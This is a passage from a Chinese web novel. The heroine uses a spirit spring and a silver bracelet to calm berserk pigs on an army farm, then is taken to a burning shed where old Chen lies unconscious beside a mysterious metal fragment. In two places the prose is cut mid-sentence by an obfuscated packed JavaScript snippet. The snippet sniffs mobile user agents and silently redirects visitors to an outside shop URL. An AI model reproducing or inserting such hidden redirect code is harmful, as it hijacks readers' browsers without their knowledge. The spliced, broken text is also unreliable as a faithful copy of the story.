不能让他去!至少,不能让他独自去! 这个念头无比强烈。然而,她立刻意识到自己面临的困境:她被严令不得离开养猪场范围,周干事可能暗中布有监视,连队巡逻加强。她没有任何合理的理由在深夜或凌晨跑去警告老陈头,更别说跟着他去西面。强行行动,只会暴露自己,将两人都置于更危险的境地。 必须另想办法。 她强迫自己冷静下来,关好窗户,回到炕边坐下。灵泉空间传递来的清凉气息缓缓流转,帮助她平复剧烈的心跳和纷乱的思绪。她需要信息,需要更准确地判断C点发生了什么,以及可能对老陈头造成什么威胁。 她再次集中精神,这一次,不是向外探查(那可能再次引来注意),而是通过银镯和树苗,像接收无线电信号一样,去努力“捕捉”和“解读”刚才那阵警报波纹和嘶鸣声残留的信息。 这个过程极其耗费心神,如同在嘈杂的噪音中分辨最微弱的特定音节。她将灵泉气息大量加持在感知上,额头很快渗出细密的汗珠。 渐渐地,一些模糊的“碎片”被她艰难地拼凑起来: ……能量脉冲……紊乱……撕裂……痛苦共鸣(非人类)……渴望(扭曲的)……聚集……黑色(冰冷的)…… 信息依然零碎,但指向性更明确了:C点发生了能量脉冲,导致了某种“撕裂”和“痛苦”,这痛苦似乎与某种非人的存在(很可能是被吸引的“低语者”)产生了共鸣,引来了扭曲的“渴望”和“聚集”。而“黑色(冰冷的)”这个意象,让她瞬间联想到昨晚窗外那种黏腻恶意的注视感和墙根焦黑的刮痕。 是C点的碎片能量不稳定,发生了泄露或爆发,吸引了更多的“低语者”,甚至可能使它们产生了某种异变或聚集? 如果是这样,老陈头靠近那里,无异于羊入虎口。那些东西对活物和能量都有强烈的反应。 怎么办?如何在不出面的情况下警告或保护老陈头? 她的目光落在了左手腕的银镯上。银镯能与碎片共鸣,发出警报,是否……也能在一定程度上,干扰或驱散那些被碎片能量吸引的“低语者”?灵泉空间的信息提到“三角庇护所”能“隔绝‘遗蜕’污染”,银镯作为可能的“钥匙”或核心组件,或许具备一些克制特性? 但如何远程生效?她不可能把自己的银镯给老陈头。 也许……可以尝试制作一个临时的、带有银镯能量气息的“护身符”?用灵泉气息浸润某个普通物体,再附着一丝银镯的共鸣特性? 这个想法很冒险,且效果未知。但她没有时间犹豫了。 她立刻行动起来。先从炕席下取出昨晚存下的那碗普通清水,又找出赵卫国给的干净纱布(原本用于包扎伤口)。她将纱布的一角浸入清水,然后,左手握住银镯,集中全部意念,尝试引导一丝极其微弱的、属于银镯的稳定共鸣波动(非攻击性能量),如同给物品“附魔”,缓慢地、小心翼翼地注入浸湿的纱布中。 同时,她调动灵泉空间渗透出的清凉气息,包裹住这片纱布,进行“滋养”和“稳固”。 这个过程极其精细且消耗巨大。她必须控制能量输出到最低,既要确保有一丝效果,又不能引起明显的外部能量波动被可能存在的监视者察觉。汗水顺着她的鬓角滑落,脸色迅速变得苍白。 几分钟后,她感觉手中的纱布似乎微微发热,散发出一种极其清淡的、难以形容的安宁气息,与银镯的冰冷金属感和灵泉的清新都不同,更像是一种温和的“驱散”感。 成功了……吗? 她不敢确定,但这已是她能做的极限。她将这片浸湿的、被简单处理过的纱布拧干,折叠成一个小三角包。 接下来,是如何交给老陈头。直接给?如何解释?说这是“辟邪”的?老陈头未必信,也可能追问来源。 她需要一个更自然的方式。目光扫过工具房,落在了墙角那罐猪油上。有了。 天色未亮,风雪未歇。林晚照和往常一样早早起床,生火,准备猪食。当第一缕灰白的天光勉强透过厚厚的云层和风雪照亮养猪场时,老陈头佝偻的身影准时出现在院门口,套好了那辆破板车。 林晚照主动提着热气腾腾的猪食桶走过去,帮忙喂猪。趁着老陈头弯腰检查食槽的工夫,她快速地将那个小小的、湿润的纱布三角包,塞进了老陈头放在板车上的旧挎包外侧一个不起眼的破口袋里,动作快如闪电。 然后,她走到老陈头身边,低声说:“陈伯,今天要去南甸子打草是吧?路上小心点。我昨儿后半夜,好像听到西面……有点不太好的动静,跟昨晚咱们这儿外面的有点像。您……尽量别往那边去。” 老陈头直起身,浑浊的眼睛看了她一眼,目光在她苍白的脸上停留了一瞬,又转向西面阴沉的天际,脸上深深的皱纹似乎更深了些。他没问林晚照怎么听到的,也没对那个小布包提出疑问(或许根本没注意到),只是沉默地点了点头,含糊地“嗯”了一声。 “这个您带着。”林晚照又从怀里(实则是从灵泉空间门缝旁快速取出)摸出那块剩下的半块压缩饼干,用干净布包好,塞到老陈头手里,“路上垫垫。南甸子远,晌午可能回不来。” 她尽量让自己的关心显得像一个晚辈对长辈朴素的担忧。 老陈头握着那硬邦邦的小布包,看了看林晚照,眼神复杂,最终又“嗯”了一声,将饼干揣进怀里,拍了拍板车:“走了。” 破板车吱呀呀地驶出养猪场,很快消失在茫茫风雪中,朝着南面的草甸子方向。林晚照站在院门口,直到那身影彻底看不见,心却依然高高悬着。她给的“护身符”太简陋,效果微乎其微,更多的是一种心理安慰。老陈头会不会真的绕去西面?如果去了,会遇到什么? 一整天,林晚照都在心神不宁中度过。喂猪、清圈、铡草、挑水,每一个动作都显得心不在焉,目光不时瞟向西面。灵泉空间持续提供的能量让她维持着基本的体力,但精神上的焦虑却无法缓解。 中午,老陈头没有回来。这在预料之中,南甸子确实不近。 下午,风雪渐渐小了,但天色依旧阴沉。猪圈里,几头猪似乎也变得有些焦躁不安,哼哧哼哧地在圈里来回踱步,不像平时吃饱了就躺下。林晚照起初没太在意,只以为是天气变化的影响。 然而,到了傍晚喂食的时候,异变突生! 就在她将猪食倒入食槽,转身去提另一桶时,猪圈里那头最壮实的黑毛公猪,突然发出一声凄厉的嚎叫,双目赤红,猛地撞向木栅栏!结实的木栏被撞得嘎吱作响!其他几头猪也像是受到传染,开始疯狂地冲撞、嘶叫,互相撕咬,完全失去了平日的驯顺! 猪群炸圈了! 林晚照骇然倒退几步,手中的食桶咣当一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936196|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声掉在地上。怎么回事?猪怎么会突然发疯?喂的食和平时一样!是生病?还是…… 她的目光猛地转向西面!难道是C点的能量脉冲或“低语者”的影响,不仅针对野生动物,也开始波及到饲养的牲畜?能量污染的范围在扩大? “怎么回事?!”听到动静的哨兵和附近的后勤人员跑了过来,看到猪圈里的混乱景象,都惊呆了。 “快!拦住它们!别让撞开栏跑出来!”有人大喊。 场面一度混乱。几个战士试图用木棍驱赶、安抚,但发疯的猪力大无比,横冲直撞,不仅撞烂了部分栅栏,还将试图靠近的人顶翻在地。 林晚照强迫自己冷静下来。猪群发疯肯定与西面的异常有关,但现在首要的是控制住局面,避免伤人,也避免猪跑出去造成更大损失或暴露更多异常。 她看到地上洒落的猪食,又看看那些赤红着眼睛、狂躁不安的猪,脑中灵光一闪。灵泉空间的水和气息有安抚滋养的作用,对植物和自身有效,对动物呢?能否平息这种能量污染引发的狂躁? 值得一试! 她立刻转身跑回工具房,关上门,迅速从灵泉空间再次引出一碗清水。这一次,她尝试将更多的“滋养安抚”意念融入水中。然后,她将这碗水倒入一个更大的空桶,又掺入大量干净的雪水稀释,拎着跑回猪圈。 “让开!试试这个!”她对正在试图加固栅栏的战士们喊道。 众人疑惑地看着她拎着一桶清水过来。林晚照来不及解释,舀起一瓢水,看准机会,朝着那头冲在最前面、最为狂躁的黑毛公猪劈头盖脸地泼了过去! 冰凉的水泼在猪身上,那公猪猛地一颤,冲撞的动作顿了一下,赤红的眼睛似乎清明了一丝,但很快又被狂躁淹没,继续嚎叫冲撞。 效果不明显,但似乎有那么一点用!稀释得太多了! 林晚照心一横,再次舀起一瓢,这一次,她悄悄将更多灵泉气息融入水中,然后更精准地泼向公猪的口鼻和头部。 “嗤……”仿佛滚油滴入冷水,那公猪发出一声怪异的嘶鸣,猛地人立而起,然后重重摔倒在地,四蹄抽搐,口中吐出白沫,但眼中的赤红却在迅速消退,喘着粗气,不再疯狂冲撞。 有效!但反应似乎太剧烈了! 其他几头猪见状,冲撞的势头也莫名一缓。 “快!照着做!用水泼它们!浇头!”林晚照顾不上解释,将水瓢塞给旁边一个愣住的战士,自己又跑回去“兑水”。 战士们虽然不明所以,但看到那公猪确实安静下来,便也依样画葫芦,纷纷用水瓢舀起林晚照提来的“特制”水(他们以为是普通雪水),朝着发疯的猪群泼去。 一时间,猪圈里水花四溅,猪只的嚎叫和人的呼喝声混杂。大部分猪在被泼水后,都出现了不同程度的剧烈反应(抽搐、呕吐、暂时瘫软),但无一例外,眼中的狂躁赤红都逐渐褪去,虽然萎靡不振,却不再具有攻击性。 混乱终于被控制住。栅栏被紧急加固,几头反应最剧烈的猪被单独隔离。所有人都松了一口气,但看向猪圈的眼神都充满了惊疑不定。 “这猪……咋突然都疯了?” “邪了门了!从来没这样过!” “是不是得了啥急病?猪瘟?” 众人议论纷纷,目光不由自主地投向了林晚照,以及她手里那个已经空了的木桶。是这水……有什么特别? 就在这时,一个负责瞭望的战士气喘吁吁地从连队方向跑过来,脸色发白,对着负责现场的一个班长喊道:“班长!不好了!西面……西面废弃工棚那边,升起一股黑烟!看着不对劲!连长已经带人过去了!” 西面!黑烟! 老陈头! 林晚照只觉得一股寒气从脚底直冲头顶,手中的木桶“哐当”一声掉在地上。 几乎同时,她左手腕的银镯,再次传来灼烫般的剧痛,而这一次,除了警报,还夹杂着一丝极其微弱、却让她灵魂颤栗的、属于老陈头的痛苦与惊悸的意念碎片,仿佛通过某种无形的能量链接,跨越空间传递了过来! 60.黑烟之下 手腕的灼痛和老陈头痛苦的意念碎片,如同烧红的烙铁,烫得林晚照灵魂都在颤栗。她踉跄一步,扶住冰冷的猪圈栅栏才勉强站稳,耳畔嗡嗡作响,周围战士们的惊呼和议论仿佛隔了一层厚厚的水幕。 黑烟……西面……老陈头出事了! “都愣着干什么?!”现场负责的班长最先反应过来,脸色铁青,“二狗,你带两个人留下,看着这些猪,别让再出事!其他人,跟我去拿工具,准备支援连长!” 战士们立刻行动起来,但每个人脸上都写满了惊疑和不安。西面工棚的“邪性”传闻在连里不是秘密,如今不但升起诡异黑烟,连养猪场的牲畜都突然发疯,这两件事叠加在一起,让最不信邪的人也心里发毛。 林晚照强迫自己从那股心悸中挣脱出来。老陈头的痛苦意念虽然微弱短暂,但至少证明他还活着!必须去救他!可她现在被命令留守养猪场,私自离开就是严重违反纪律,正好坐实嫌疑。 怎么办? 就在她心焦如焚、快速思索对策时,一个意想不到的身影出现在了养猪场院门口。 周干事。 他依旧穿着那件半旧军大衣,但没戴眼镜,眉头紧锁,目光锐利地扫过一片狼藉的猪圈和惊魂未定的众人,最后定格在林晚照苍白失神的脸上。他身后还跟着两名表情严肃、挎着步枪的战士,看装束不像是三连的人。 “这里怎么回事?”周干事开口,声音不大,却带着一股无形的压力,现场瞬间安静下来。 班长连忙上前汇报,将猪群突然发疯、用水泼后才勉强控制住的经过简要说了一遍,当然,重点强调了林晚照那桶“关键”的水。 周干事听完,目光再次转向林晚照,眼神深不见底:“林晚同志,你怎么想到用水泼的?还专门跑去提了一桶新的?” 这个问题直指核心。林晚照压下心中的惊涛骇浪,脸上露出后怕和茫然混杂的神情:“我……我当时吓坏了,看它们眼睛通红乱撞,就想着能不能让它们冷静下来……冬天井水冰,泼上去说不定能激一下……也没想那么多,胡乱试的。”她将行为归结为急智和运气,符合一个普通人在危机下的本能反应。 周干事盯着她看了几秒,不置可否,转而问道:“你刚才说,听到西面有动静?具体是什么时候?什么样的动静?” 林晚照心中凛然,知道关键时刻来了。她不能暴露银镯的感应,但必须给出一个合理的预警理由。“是……是昨天后半夜,我睡得不安稳,好像听到西面传来一声……特别瘆人的叫唤,很短,像是什么东西疼极了……跟狼嚎不太一样。早上我跟陈伯提了一句。”她将时间模糊到“后半夜”,声音的描述也尽量贴近那嘶鸣给她的感觉。 “后半夜?”周干事眉头皱得更紧,看了一眼西面天空中那股虽然淡了些、却依旧显眼的扭曲黑烟,“你确定?” “我……我也不太确定,半睡半醒的,但印象很深。”林晚照低下头,显得不太自信。 周干事没再追问,转身对带来的两名战士低声交代了几句,那两人点点头,迅速离开,朝着连部方向跑去。然后,他对留下的班长说:“这里你负责善后,猪暂时隔离观察,任何异常及时报告。林晚同志,”他看向林晚照,“你跟我来一趟。” “周干事?”林晚照愕然抬头。 “西面情况不明,王连长已经带人过去了。你对昨晚的动静有印象,而且……”周干事目光在她脸上停顿了一下,“老陈头是你现在的直接负责人,于情于理,你可能需要过去协助说明一些情况,或者……辨认。” 辨认?林晚照的心猛地一沉。难道老陈头已经…… 不,那股痛苦意念显示他还活着!周干事带她过去,是真的需要协助,还是借机进一步观察、甚至控制她这个“可疑分子”? 无论哪种,这都正中她下怀!她正愁没理由过去! “是,周干事。”她立刻应下,没有丝毫犹豫,脸上恰当地流露出对老陈头的担忧。 “走吧。”周干事不再多言,转身朝连队方向走去,那里已经有一辆带篷的军用卡车发动起来。林晚照小跑着跟上,心脏在胸腔里狂跳,一半是担忧,一半是终于能行动的决绝。 卡车上除了司机,还有另外四名全副武装的战士,神色肃穆。周干事和林晚照爬上车厢,卡车立刻朝着西面疾驰而去。路面坑洼,积雪被压出深深的车辙,卡车颠簸得厉害。林晚照紧紧抓住车厢板,目光死死盯住西面天空中越来越近的黑烟。 那烟柱并不粗大,却凝而不散,颜色是一种古怪的灰黑色,在铅灰色的天空背景下依然醒目,仿佛有生命般微微扭动着。随着距离拉近,空气中开始弥漫着一股难以言喻的气味——不是单纯的燃烧焦糊味,更像是什么东西腐烂后又被迫高温炙烤的混合怪味,其中还夹杂着一丝极其淡薄、却让林晚照左手腕银镯微微发热的熟悉感——那是与草甸子A点相似的、但似乎更加暴烈和不稳定的能量残余! C点的碎片能量果然爆发了!而且性质可能比A点更危险! 大约二十分钟后,卡车在一片被积雪覆盖的荒坡前停下。这里已经远离连队日常活动范围,几栋低矮破败、大半坍塌的土坯工棚歪斜地立在坡下,其中一栋的屋顶已经烧穿,仍在冒着那股诡异的灰黑烟雾。坡地上脚印杂乱,有部队解放鞋的印记,也有更凌乱、难以辨认的痕迹。 王连长带着十几名战士围在工棚外围,人人脸色凝重,持枪警戒。看到卡车和周干事,王连长快步迎了上来,他脸上沾着烟灰,眼神里满是疲惫和深深的困惑。 “老周,你来了。”王连长声音沙哑,看了一眼跟在周干事身后的林晚照,眉头皱了皱,但没多问。 “情况怎么样?老陈头呢?”周干事直接问道。 “在里面。”王连长指了指那栋冒着烟的工棚,语气沉重,“人还活着,但……不太好。我们赶到的时候,火已经烧了一会儿,老陈头倒在离工棚十几米外的雪窝子里,昏迷不醒,身上没有明显烧伤,但……”他顿了顿,压低声音,“脸色发青,呼吸很弱,浑身冰凉,不像一般的冻伤或摔伤。已经让人用担架抬到背风处,卫生员在看着。” 林晚照的心揪紧了,下意识就想往那边冲,被周干事一个眼神制止。 “起火原因?”周干事问。 “邪门就邪门在这儿!”王连长搓了把脸,指着工棚废墟,“里面没有明显的火源!没有炉子,没有电线,老陈头身上也没火柴!这火像是……从地底下或者墙里头自己烧起来的!而且你看那烟!”他指着那扭曲的灰黑烟柱,“正常烧木头草棚不是这个颜色和味道!还有……”他让开身子,指着工棚门口一片被刻意保护起来的雪地。 那里,除了人的脚印,还有几道清晰的、令人极度不安的拖曳痕迹——痕迹很宽,边缘模糊,像是某种沉重而柔软的东西被拖行,痕迹旁的积雪微微下陷,颜色比周围更深,隐隐透着一种不祥的暗沉。更重要的是,痕迹延伸到工棚门口就消失了,仿佛那东西……钻进了还在冒烟的废墟里,或者,融化了。 所有看到这痕迹的战士,脸上都带着难以掩饰的惊惧。这绝不属于任何他们已知的动物。 周干事蹲下身,仔细查看那些痕迹,还用戴着手套的手指轻轻触碰了一下颜色异常的雪,放到鼻尖闻了闻,眉头紧锁。“化验样本带回去。”他对身后一名战士吩咐,然后站起身,看向林晚照,“林晚同志,你昨晚听到的‘叫唤’,大概是从这个方向传来的吗?” 林晚照强忍着立刻去看老陈头的冲动,仔细观察周围环境,点了点头:“应该是……这边。” “老陈头今天来这边,你知道吗?”周干事又问,目光如炬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940368|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “陈伯早上说要去南甸子打草……”林晚照斟酌着用词,“我提醒他西面昨晚有动静,让他别往这边来。但他……”她适时停住,脸上露出担忧和一丝自责,“可能还是放心不下,过来看看?” 这个解释合情合理。老陈头责任心强,对西面的“邪性”又有所了解,听到她的警告后反而更可能过来查看。 周干事没再追问,转向王连长:“现场还有什么发现?” “工棚里面没敢深入,烟大,结构也不稳了。但在外面雪地里,离老陈头不远的地方,找到了这个。”王连长从怀里掏出一个用手帕包裹的东西,小心打开。 那是一小片不规则、边缘焦黑的暗银色金属片,只有指甲盖大小,表面似乎有极其细微的、非人工雕琢的纹路。在昏暗的天光下,它折射出一种冰冷而异样的光泽。 看到这金属片的瞬间,林晚照如遭雷击,左手腕的银镯猛地剧震起来,一股强烈的、同源相吸又带着警示的波动汹涌传来!树苗的绿光也在意识中狂闪! 是“摇篮”碎片!C点的碎片!而且看样子,是从某种更大的主体上崩裂下来的!老陈头触动或接近了它,导致了能量爆发和火灾?还是说,是别的什么东西触发了它,老陈头只是被波及? 周干事接过金属片,仔细端详,眼神变得无比深邃和严肃。他显然也察觉到了这金属片的不同寻常。“这东西……先封存,绝对保密。”他将金属片重新包好,递给身边一名战士,目光扫过废墟、黑烟、怪异的痕迹,最后落在林晚照压抑着震惊的脸上。 “林晚同志,”他缓缓开口,语气是前所未有的凝重,“这里的情况,已经超出了普通的失窃或意外范畴。老陈头的伤势也很蹊跷。你是目前除了老陈头之外,最后一个可能接触或了解相关情况的人。”他顿了顿,仿佛下定了某种决心,“我现在以团部调查组的名义,要求你暂时脱离三连日常工作,配合我们进行专项调查。你有什么意见吗?” 专项调查?脱离三连?这意味着她将直接处于周干事(以及他背后可能的力量)控制之下,失去相对自由的养猪场环境,但也可能获得更多接触核心秘密的机会!而且,老陈头昏迷,她于情于理都不能拒绝。 “我没有意见,周干事。”林晚照立刻表态,眼神坚定,“只要能救陈伯,查明真相,让我做什么都行!” “好。”周干事点点头,对王连长说,“老王,这里你处理,彻底搜查,注意安全。老陈头和这片金属片,还有林晚同志,我先带回团部临时指挥部。这边有任何新发现,立刻报告!” “是!”王连长应道,看向林晚照的眼神复杂,最终只是叹了口气,挥挥手。 林晚照最后望了一眼那冒着诡烟的工棚废墟,又担忧地看了一眼老陈头被抬走的方向,跟着周干事重新上了卡车。车厢里气氛压抑,战士们沉默不语。卡车调头,朝着与连队相反的方向——更靠近“红岸”基地的某个位置驶去。 坐在颠簸的车厢里,林晚照低头,左手紧紧攥着右手腕,袖子里,银镯的震动已经平复,但那种与碎片金属片强烈的共鸣感和危机感却久久不散。 C点碎片崩裂,能量爆发,老陈头重伤,诡异痕迹,黑烟……还有A点的泄露,B点的未知。三角结构正在变得不稳定,甚至可能开始崩溃。 而她自己,这个身怀秘密的“钥匙”或“碎片”携带者,正被一步步推向风暴的中心。 周干事究竟知道了多少?团部临时指挥部又是个什么地方?等待她的,会是更严苛的审问,还是……接触到更深层真相的机会? 卡车驶过一片高坡,远处,“红岸”基地那些巨大的天线轮廓在暮色中如同沉默的巨人,冰冷地矗立着。其中一处建筑的顶端,一点幽蓝的光芒,再次极其短暂地闪烁了一下,仿佛在回应着西面仍未散尽的灰黑烟柱。